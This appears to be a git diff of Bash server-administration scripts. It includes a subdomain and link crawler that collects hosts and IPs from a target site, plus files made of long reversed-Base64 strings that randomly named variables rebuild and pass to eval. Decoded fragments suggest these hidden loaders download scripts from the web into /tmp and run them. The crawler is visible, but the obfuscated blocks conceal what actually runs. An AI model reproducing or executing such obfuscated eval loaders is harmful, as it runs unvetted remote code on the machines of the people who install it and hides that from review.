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 | r";YxPeKfTDrKkHPnaFgpChawHIlyntIJXYhDJxjtIQWESvLKitqXIoBlRvRBjAjblWGgrZrtRGeVeyFbEGVkVyCyCDVKdgLaNvAgqk="ALgftxrxYriOLQLfmkAyunQaDDaDYQOWasJgnaNlrQUpuXXdLaUfZJzWhqfjYvtyArpCbVnKKEIUqQHQKHWvaYcVAyjGHphIHvef";lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp="";VlXQTdihoxGffGgDIgBCcVlxbKHnQiqnekoLPBoDMYYQDfxkrAkMkXNjWrGTHDUUdIoLrCOdzxqtHyeASoOWWTWXiWmkdXkgAhyN="as";BJvAjHkbmETjWGNTgjyKXqUQyBKpOHkZHXYhwPGhzbyoaGUoRZAXGEHBctwPKdMCLPxRnBwyzPIVDWDnykEMBaRhRfvfVzlMMRjg="ddUxDpQYTjNZHNNswcoXijqYloZbanCxlewYgLmkrIjrwKzkZuGsHZHtHXBKASVHLNUsMBATRLKVuIFiVsRPfEiVVGADwxfnddjH";hBYHJSZlsPPxHslajGbzmbQgYSpZVTToksQJoZWWsIQMheZUvXZTMONduesXTaHwBvUyNkIXFsDAsUgMsmRrIhMBRonSwbJVvtWK="BRAHompoRXfWwexLRcmSImnkfnWDbUwQjiJPszuSpYlAqyJLCuqexHvktKieflEhBttHVjcBuTlJYRYdnVIBWzhqnuzsdpCUaiiQ";mfLxicnZqgigGuiYUwdQxbLbLGOjspjgHxqzRjnImnzdrAWbmXgwrvedsMWljobhkjJAsIaYxkQItEWbhMlCmAHbATXydetnXwhA="o";ovQVghKtcpPdmXNlBwWEHLOgqHvUdzLcdyuCwJHpaGqXtjeKFFgCFvMzLZTdFVoVlfpofgCzrwlLofwsTzZxahfLsTtgBcRigBJQ="6";BVumzGFVfMeaCKvrqcJqOBLQzkSMgkxRuEnvXpvMoVvYpWfLMXDXkGAldgvzRHllAawdWLgGiHgGYddIkWctqZZbTJXoyXKZyOSY="bgVEVRhNZbfHKecxjDlMcbSQstijGIggJqlwZVgnyaWSRQWVxVilCtdtEhDqhOfKudWfovRNNBanUfTWjuleFeQjolFBWXUlzwZa";AcMpEiBIiRAQIbJmTYBBaOWzmqzdRUHOCWOzysvmByzbYfcBggwjpOOnIqjDorwXfNTnviQNUfBjbYuTsknIQVYSBnKvqDBEoJLY=" -d";hOCvxhXchojVvBHHqwZzpgDJwGZaqebtiBzHluoYYHMbkwJpiWaYCIpQqLBDwEkhJApiTnopfByuSLEcJEnZdJlaBoGbcpzstdzH="rBAZgCTvoNiDtkqvlAGhPeKTgAPGdlytlAoicVNAExRzCPuzXPfSvFIZkVoAickrGEHJscMgMcMkfxAfCFJLBlAaKRwTtjOTJpYT";AOrYntxxGrhIDQzTYneTlRFbPBiLOqCuXOGmivMyRlnFnJQBqDapsINNNyUGeWIXrPqSipugHcVWwCbwVfJusgpfcNAaWGWSOPWZ="";kRCSaRtVMDstocEPtDYCcEfZmLGCXTnkCdRqRCaPrOCoyWRWHeqoxqlQYpCaQzsXtATVoBsjZEdALOCoSSxJoiYdklqBYLvNILhH="b";SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ="e";kwtGrksgFxPwtysoLaGLKPrkoecmDvDZqIEwlrngNdldydqUBQaHpBvMWRImEWIGZRTwcVaeixmrSePyACusePehIqVsVuiIWfxa="v |";Tx=Eds;LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq="";UUPbIzUyRAzDegEMWOmlYHsDMMRJaUQrUkQvNevfZbQCfbEwKofGhPRFYueNTdqPdTxSxJEKNClzagwnzQYYhgUiMxcKNbOgnKRO=$(eval "$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$fBFaTHZDUPGRvGBwTltLWZZGcFyxCmImZGkRIqzDgcdPuvcDBPitcvZKGINhIFcwpdNbnMXTUBZVoUoPIMKlZBZZDKzuEWYokpCT$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf$mfLxicnZqgigGuiYUwdQxbLbLGOjspjgHxqzRjnImnzdrAWbmXgwrvedsMWljobhkjJAsIaYxkQItEWbhMlCmAHbATXydetnXwhA$yJhcRmIhiTJfuWZxFsRYwQrBgNEyDaNStGadFlJOnfTCznMvwAXZpPidLtNZUrGRDxuWnYZHkkUjPvCOuYCmnHvODKzbosdGxCGY$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$kwtGrksgFxPwtysoLaGLKPrkoecmDvDZqIEwlrngNdldydqUBQaHpBvMWRImEWIGZRTwcVaeixmrSePyACusePehIqVsVuiIWfxa$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$kRCSaRtVMDstocEPtDYCcEfZmLGCXTnkCdRqRCaPrOCoyWRWHeqoxqlQYpCaQzsXtATVoBsjZEdALOCoSSxJoiYdklqBYLvNILhH$LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq$VlXQTdihoxGffGgDIgBCcVlxbKHnQiqnekoLPBoDMYYQDfxkrAkMkXNjWrGTHDUUdIoLrCOdzxqtHyeASoOWWTWXiWmkdXkgAhyN$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$ovQVghKtcpPdmXNlBwWEHLOgqHvUdzLcdyuCwJHpaGqXtjeKFFgCFvMzLZTdFVoVlfpofgCzrwlLofwsTzZxahfLsTtgBcRigBJQ$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf$dvSvIrqCzjYFfZlGbkHVyzNBbMHFhIEmGztCFHrlcrfUKHEcymPtgtQttWdANvzIuAIhKUEWnvYycGirWQXLQCoeQsPHWOeaEyis$AcMpEiBIiRAQIbJmTYBBaOWzmqzdRUHOCWOzysvmByzbYfcBggwjpOOnIqjDorwXfNTnviQNUfBjbYuTsknIQVYSBnKvqDBEoJLY$LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq");eval "$AOrYntxxGrhIDQzTYneTlRFbPBiLOqCuXOGmivMyRlnFnJQBqDapsINNNyUGeWIXrPqSipugHcVWwCbwVfJusgpfcNAaWGWSOPWZ$UUPbIzUyRAzDegEMWOmlYHsDMMRJaUQrUkQvNevfZbQCfbEwKofGhPRFYueNTdqPdTxSxJEKNClzagwnzQYYhgUiMxcKNbOgnKRO$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf" \ No newline at end of file + +subdom () { +SUBDOM="$1" +[[ "$SUBDOM" = "" ]] && return +randomize="$RANDOM" + for sites in `cat $log`; do + [[ $(echo ${DNS[@]}|grep $sites) = "" ]] && DNS+=($sites) + [[ $(echo ${DNS[@]}|grep $sites) != "" ]] && cat $log|grep -v "$sites" > $log + done + while true; do + [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break + done + ( + HOST[$randomize]="$SUBDOM" + curl -sSL "${HOST[$randomize]}"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}' >> $log + ) > /dev/null 2>&1 & +} + +iniciar () { +SUB_DOM=$1 +limite=$2 +[[ ${SUB_DOM} = "" ]] && read -p "Site Alvo: " SUB_DOM +[[ ${limite} = "" ]] && limite="300" +#CRIA LOG +log="./loog" && touch $log +#INICIA PRIMEIRA BUSCA +_DOM=$(curl -sSL "$SUB_DOM"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}') + for _DOMS in `echo $_DOM`; do + [[ $(echo ${DNS[@]}|grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS}) + done +#INICIA THREADS +i=0 +while true; do +DOMAIN=$(echo "${DNS[$i]}") +[[ $DOMAIN = "" ]] && break + if [[ $(echo -e "${PESQ[@]}"|grep "$DOMAIN") = "" ]]; then + subdom "$DOMAIN" + echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]}+1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - Escaneando ---> \033[1;36mhttp://$DOMAIN\033[1;37m" + PESQ+=($DOMAIN) + fi +[[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break +i=$(($i+1)) +sleep 1s +done +rm $log +echo -e "\033[1;31m====================================\n\033[1;32mScan Finalizado!, Iniciando Coleta de IPs\033[1;31m\n====================================\033[0m" +[[ -e $HOME/subresult ]] && rm $HOME/subresult +[[ ! -e $HOME/subresult ]] && touch $HOME/subresult + +for result in $(echo "${DNS[@]}"); do +( +rand="$RANDOM" +dns[rand]="$result" +scan[rand]=$(echo ${result}|cut -d'/' -f1) +IP[rand]=$(nslookup "${scan[rand]}"|grep -Eo 'Address: [0-9.]+'|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|tail -1) > /dev/null 2>&1 +echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >> $HOME/subresult +unset IP +) & +done +while true; do +[[ $(pidof nslookup|wc -w) -lt "1" ]] && break +done +RSLT=$(($(cat $HOME/subresult|wc -l)/4)) && echo -e "\033[1;31m====================================\n\033[1;32m$RSLT Hosts Capturados\n\033[1;31m====================================\033[0m" +echo -ne "Desea Imprimir los Resultados? [S/N]: "; read yn + [[ $yn = @(s|S|y|Y) ]] && { + echo -ne "\033[1;32m" + cat $HOME/subresult|grep -v = + echo -e "\033[1;31m====================================\033[0m" + } +return 0 +} + +#INICIA SCRIPT +echo -e "\033[1;31m====================================\033[0m" +echo -e "\033[1;33m INICIALIZANDO PROCEDIMENTOS (SCAN)" +echo -e "\033[1;31m====================================\033[0m" +iniciar $1 $2 +[[ $? = "0" ]] && +echo -e "\033[1;32mRegistro Generado en : $HOME/subresult\033[0m" && +echo -e "\033[1;31m====================================\033[0m" diff --git a/Lista/usercodes b/Lista/usercodes index b366828..66450df 100755 --- a/Lista/usercodes +++ b/Lista/usercodes @@ -1,2 +1,2039 @@ #!/bin/bash -xqBbPxJftXsKUtMQdprubSGfAYwDxARYIVdzuMHEUJLdhCZRGbeDQQqtjWxULSyGExsFMSEXCQOHfqViXIDlmflBWEmukRixsTuQ="WKQJGuYxiddZJvWVZIAiBHmzWElrYnGYzaCNzfSsEwrAsaUjJIBuTHMPPfytYrNNqFERuDmvJopIeSTKhISvJwvGGYSbugLUcNFf";pqOPpDukpjATYuZypBmRgWAvFInrKezBFqmgWIXDjfxbmmvugTQrztmUhyFRdtoBUBdjBxHHHkyzzXYhTCLXfSxTmGOYClkPgTTJ="FollcPkPHKhDzUUMYyqKpbRjtcrpqfiUVyABrjovQMQIygfkTxMYmdtXPRQBWkVjeFzuZMgZrxXYLbtUPsgGYSzOlwQvpFxYFuQm";bHFvuHCqeeXSOXCSgDJtUunnaNqiWwpAwKslZKpuMdUjRZVRSvHdabYcuXsoEGmgUIowCTVdPNGVFSVLdNHpaXwLAkXmeyzmrmGp="ch";AlIusuJEkafTWuwIGuLzDLeOcEmnGhAEBGpubosRKLzDZhvWjRkIDBAMaOlZfSlAxgPyUKBEapcaNeFgbRmIhhoBPzvnKjNLUzmV="4";XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob="";AejDnLuxtNvFAIjbAdeqVFzXQBiZilQJLqiAMovAyTfWkLLSKdotjbcEqAZolChGKqysEtplpzTCnbsyiDzYPcndbtKnyKjrWIMJ="qZPnaJUtWbTYHSBtmVtImIVuTjxJJbwkMjphnVXJtZNqYLuzraUkJNyiYebuUWrsVKHtEIiDuyGtaWofLaQZcRhhYCBYQRYSJyek";dCkJEhHwHFyeLXcLdxUxOhexLkYBYskubfhZeVufErFGgBwcdIXuAZVFROmUwycgYPejWnsikaIIutYmSTVqPOlYZsxzSKvCpVDU=" =owYhNXZKszOKowclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvNnCyVGduVmCKs0QFh0QzV3XKkCNxowO7owclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvNnCyVGduVmCKg2cuM0SFh0Q0Nnbp9CctR3Lgg2chJGImYCIoNnLrNWZoNGdp5WavMXZk92YyV2c19ycvNnc1NWZS9ibpFWbvg2YuFmci9ydhJ3LxsGZ0BXayN2cvEDMkl2a39mck9SbvNmLhVGdpd2LvozcwRHdoBCaz5yQLVESDR3cul2Lw1GdvAyTtASctACdld2dKoQK0EzIKszOjowclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvN3IKIXZ05WZjowIKICTF5kTBBFIMFEIPNVRDNUQg8ERBRVSMlkQBhEIBhEIFNFIP5EIiASZtAyboNWZgwHfgg2cuo2byRHImYCId1FIpg2cuo2byRHIoNWaodHKkAietASIgs1WjoQKzEjC7sjCzVGZvNmclNXdvUGdpxWLtRWYvMGdl9CIlNmc192cKIXZ05WZKoQasN2XsV3cu92YgYiJg8SZ0lGbt0GZh9yY0V2LgQ2YKkiMxowO7owclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvNnCyVGduVmCKkXYyJjdtUXZtBiJmAyLlRXas1SbkF2LjRXZvACZjpQKxEjC7sjCzVGZvNmclNXdvUGdpxWLtRWYvMGdl9CIlNmc192cKIXZ05WZKoQduVWbyN3cgYiJg8SZ0lGbt0GZh9yY0V2LgQ2YKkCMxowO7owclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvNnCyVGduVmCKETY2V3YlJHImYCIvUGdpxWLtRWYvMGdl9CIkNmCpkjC7sjCzVGZvNmclNXdvUGdpxWLtRWYvMGdl9CIlNmc192cKIXZ05WZKogclNXdft2YvxmYgYiJg8SZ0lGbt0GZh9yY0V2LgQ2YKkCOKszOKMXZk92YyV2c19SZ0lGbt0GZh9yY0V2LgU2YyV3bzpgclRnblpgCyVGdl12X0VmbgYiJg8SZ0lGbt0GZh9yY0V2LgQ2YKkyNKszOKMXZk92YyV2c19SZ0lGbt0GZh9yY0V2LgU2YyV3bzpgclRnblpgC38lbvlGdj5WdmBiJmAyLlRXas1SbkF2LjRXZvACZjpQK2owO7owclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvNnCyVGduVmCKUzXu9Wa0Nmb1ZGImYCIvUGdpxWLtRWYvMGdl9CIkNmCpUjC7sjCzVGZvNmclNXdvUGdpxWLtRWYvMGdl9CIlNmc192cKIXZ05WZKoANf52bpR3YuVnZgYiJg8SZ0lGbt0GZh9yY0V2LgQ2YKkCNKszOKMXZk92YyV2c19SZ0lGbt0GZh9yY0V2LgU2YyV3bzpgclRnblpgCz8lbvlGdj5WdmBiJmAyLlRXas1SbkF2LjRXZvACZjpQKzowO7owclR2bjJXZzV3LlRXas1SbkF2LjRXZvASZjJXdvNnCyVGduVmCKIzXu9Wa0Nmb1ZGImYCIvUGdpxWLtRWYvMGdl9CIkNmCpIjC7sjCzVGZvNmclNXdvUGdpxWLtRWYvMGdl9CIlNmc192cKIXZ05WZKowc19lb1ZGImYCIvUGdpxWLtRWYvMGdl9CIkNmCpEjCulGI952bpR3YlxWZztHJgU2chNmCpQTMg4Wdm9lbvlGdjVGblNHKk0jbvlGdjVGblNnCK0nCpg2cuUXbyJ3cz9ycvNnc1NWZS9ibpFWbvg2YuFmci9ydhJ3LxsGZ0BXayN2cvEDMkl2a39mck9SbvNmLhVGdpd2LvozcwRHdoBCTz1CIsJXdjhCPgU2YyV3bzpwegkCKgUnbl1mczNnCK0nCjF2clpwO7oAMg4mc1RXZypQKwowO7oQKoNnLyV2Zh5WYt9VehJnM29ycvNnc1NWZS9ibpFWbvg2YuFmci9ydhJ3LxsGZ0BXayN2cvEDMkl2a39mck9SbvNmLhVGdpd2LvozcwRHdoBCIMN1ctACbyV3YowDIlNmc192cgwHfgg2cuInM2BiJmASXdBSKoNnLyJjdgg2Yph2doQCI61CIhAyWbpAIpIjC7sjCpg2cuETehJnM29ycvNnc1NWZS9ibpFWbvg2YuFmci9ydhJ3LxsGZ0BXayN2cvEDMkl2a39mck9SbvNmLhVGdpd2LvozcwRHdoBCTTNXLgwmc1NGK8ASZjJXdvNHI8xHI15WZt5SehJnM2BiJmASXdBSK15WZt5SehJnM2BCajlGa3hCJgoXLgECIbtlCpEjCulGI952bpR3YlxWZztHJgU2chNmCpIDIuVnZf52bpR3YlxWZzhCJ942bpR3YlxWZzpgchJWLgc2ctpAdhNGbvxGI8BiIuxFIylGbhNFItkCMgoAIpIXYi1CInNXboQiC5kTdmVnUABSeiBicldWYuFWTgkXYyJjVg0SKyAiCMF0USVkVJ5UVgIXZnFmbh1EI5FmcyYFItkSMgoAItdzM7EzWzMDMcJCIl5WLg8GajVmCyFmYtAyZz1mCgISbws1MzADXgAiMyAjMtITMtETMgASMwQWard3byRGQgknQg8ERBpVSS9EVDFkRFJFIZFkUyYFIT9EVDVUWPJFUg0WM0sTMbNzMwwVb3kzWlxlIgUWLg8GajVmCyFmYtAyZz1mCKEDbkBCd1BHdgYiJgETd1NGI0VHc0pQMsRGI0VHc0BiJmASM1V3YgQXdwRnCxwGZgQXdwRHImYCIxUXdjBCd1BHdKEDbkBCd1BHdgYiJgETd1NGI0VHc0pQMsRGI0VHc0BiJmASM1V3YgQXdwRnCxwGZgQXdwRHImYCIxUXdjBCd1BHdKEDbkBCd1BHdgYiJgETd1NGI0VHc0pQMsRGI0VHc0BiJmASM1V3YgQXdwRnCxwGZgQXdwRHImYCIxUXdjBCd1BHdKEDbkBCd1BHdgYiJgETd1NGI0VHc0pQMsRGI0VHc0BiJmASM1V3YgQXdwRnCxwGZgQXdwRHImYCIxUXdjBCd1BHdKEDbkBCd1BHdgYiJgETd1NGI0VHc0pQMsRGI0VHc0BiJmASM1V3YgQXdwRnCxwGZgQXdwRHImYCIxUXdjBCd1BHdKEDbkBCd1BHdgYiJgETd1NGI0VHc0pQMsRGI0VHc0BiJmASM1V3YgQXdwRnCxwGZgQXdwRHImYCIxUXdjBCd1BHdKEDbkBCd1BHdgYiJgETd1NGI0VHc0pgC7BSKoASehJnM21Sdl1mCK0nCFNVQDBSQOlUTSVEVjowYhNXZKszOKADIuJXd0VmcKMXMuADIwVWZsNnCiwUQNBSRUNVQUl0RJREIT9UTJRlTFNFIPxkIg8GajVmCpoiC7sjCwAibyVHdlJHIKIyTEFkUVR1QVJFVTVEIIN1UgIVRO5UQCBSRUNVSYVEIP5kIg8GajVGI8xHI9BiCyVmbuFmYvIXYlJGcvJHZvMGdl9CI+AiIiAyboNWZgoAIiAiUBVkQQ9kUEBiUF5kTBJEIPRkTFlVVSR1UFRkIg8GajVGIKsHImYCId1FIyVmbuFmYvIXYlJGcvJHZvMGdl9CIl1CIbtFIKIyTEFkUVR1QVJFVTVEISFURCB1TSREISVkTOFkQgUEVTlEWFByTOJCIvh2YlBCf8BSfgoAazNncl5mbhJ2LjRXZvAiPgIiIg8GajVGIKAiIgg0UTBiUF5kTBJEIPRkTFlVVSR1UFRkIg8GajVGIKsHImYCId1FIoN3cyVmbuFmYvMGdl9CIl1CIbtlCiICIvh2YlpgISVkTOFkQgUGZgEWaj5WZ0NXa4VGIvRmbhNWamlmclZlIg8GajVmCpMjC7sjCwAibyVHdlJnC9pgIdxUSBZ0Wg0WMzsTMbNzMwwlIgUWLg8GajVGI8xHIi01SPtFItJzM7EzWzMDMcJCIl1CIvh2YlBiJmASMm4jMgwGb152L2VGZvAiPgQnchR3clJHIoN3cvQmL0lmbp9yY0V2LgYiJg0VXgg2cz9CZuQXaul2LjRXZvASZtAyWbpQMm4jMgwGb152L2VGZvAiPgQnchR3clJHIkh2czBSZjlmdyV2cKEjJ+IDIsxWdu9idlR2Lg4DI0JXY0NXZyBCazNHIlNWa2JXZzpgIgg0UTByTE5UQDlkRJJVRWBSXgECIb1WMzsTMbNzMwwFIiASZu1CIvh2YlpAIi0FIuVWbkAyWg0WNzsDMbNzMwwlIgUWLg8GajVGI8xHI9pQfKISXL90Wg0mMzsTMbNzMwwlIgUWLg8GajVGImYCIxYiPyACbsVnbvYXZk9CI+ACdyFGdzVmcgIXYlJGcvJHZvQmL0lmbp9yY0V2LKAicl5mbhJ2LyFWZiB3byR2LjRXZvAiPgIiIg8GajVmCgIyTROcRTlERg8EROVUWVJFVTVERiAyboNWZgYiJgIibc1CISFURCB1TSREIO90QgUETClEVBBVTPNkTJBiUF5kTBJEIiap4g0WMzsTMbNzMwwlIgUWLg8GajVmC7BCf8BCIi01SPtFItJzM7EzWzMDMcJCIl1CIvh2YlBiJmASMm4jMgwGb152L2VGZvAiPgQnchR3clJHIyFWZiB3byR2Lk5Cdp5WavMGdl9iCgsHImYCId1FIyFWZiB3byR2Lk5Cdp5WavMGdl9CIl1CIbtlCxYiPyACbsVnbvYXZk9CI+ACdyFGdzVmcgIXYlJGcvJHZgU2YpZnclNnCiAiUBVkQQ9kUEByTE5UQDlkRJJVRWBSXgECIb1WMzsTMbNzMwwFIiASZu1CIvh2YlpgchJWLgc2ctpgISFURCB1TSREIFR1UJhVRg8kTi0jbl1GI8xHI9pgcl5mbhJ2LyFWZiB3byR2LjRXZvAiPgg2czJXZu5WYi9yY0V2LgQXYjBiJmASXdBCazNncl5mbhJ2LjRXZvASZtAyWbpwegYiJg0VXgIXYlJGcvJHZvMGdl9CIk1CIbtlCoN3cyVmbuFmYvMGdl9CI+4DIn4Ddu9mZvwzZlJnJgwCSH9Wb1h2QgAjMwIDIpKsPiYkRwAjRGNiI9I3bs92YgQnbvZGPnAyboNWZjoAazNncl5mbhJ2LjRXZvAiP+AyJ+A3L84jbhB3cvwjPn52byR3cvwzJikGZlJ3YkIyJ+cmbvJHdzxjPisjQ4Q0M4QzIgojcvx2bjJSPlxWe0NHIuFGczxjPn52byR3cvwzOwNnYuZCfg4jbhB3cvwzOnVmcmciIgQXakVmcjRCIiciPisjRGBDMGZ0Igojcvx2bjJSPlxWe0NHIuFGczxjPn52byR3c84jI7IXZ05WZjBiOudWasFWL0hXZ0JSPlxWe0NHIwxzJgUWLg8GajVmCpETLgQWYlhGI8Byb0lGZlJ3YfVnbl12LyFGd1NWZqV2LulmYvACPgQXYjhCJ9QXakVmcjpgIxADZpt2dvJHZAJSPpRWZyNGI8xHIpUWbh52L092by9CI8ACdhNGKk0TakVmcjBiJmASXdBSZtFmbvQ3bvJ3LgUWLgs1WKUmbvRmCpZGIKsWYlJnYgogblhGdgsTXdBSKOxnboAEI9AiIvFmbf5WazRiIgs1WgYWasVGIKQnbvZ2X0hHdgogblhGdgsTXdBSKZxXe8NFfzhCQg0DIi8WYu9lbpNHJiAyWbBiZpBiCvFmbf5WazBiIgoTXg4GI8BycgsFIiACctACZhVmcKIyPSVkTOFkQgUFVgEEIT9EVYVEVgMVQNBiUJRUQROcQgMVQFNVREBiIgUWLg8GajVmCvRGI7UWdyRHIlxWaodnCoN3cyVmbuFmYvMGdl9CI+4DIi4DcvwjIg8GajVGImYCId1FIpkFf5x3U8NHKABSPgICekICIbtlCoN3cyVmbuFmYvMGdl9CI+4DIn4zJlpXaz9FJng2L84Ddu9mZvwzJg8GajVmCoN3cyVmbuFmYvMGdl9CI+4DIiIXZu9lbhJGJiAyboNWZKkmZKg2czJXZu5WYi9yY0V2Lg4jPgciPis2YhxmYi0jcvx2bjBCdu9mZ84jI7IXZ05WZjpjbnlGbh1Cd4VGdi0TZslHdzByJlpXaz9FJngGPnAyboNWZKU2csVmCoN3cyVmbuFmYvMGdl9CI+4DIn4jIChjQ4ADMjISPy9GbvNGI052bmxjPisjclRnblNmOudWasFWL0hXZ0JSPlxWe0NHInUmepN3XkcCa8cCIvh2YlpgblhGdgsTXgISNxICI9AiIy92YfJXZu9lbhJGJiAyWgYWasVmCoN3cyVmbuFmYvMGdl9CI+4DIn4jI3UjQ4UkMjISPy9GbvNGI052bmxjPisjclRnblNmOudWasFWL0hXZ0JSPlxWe0NHInUmepN3XkcCa8cCIvh2YlpgblhGdgsTXgICNxICI9AiIy92YfJX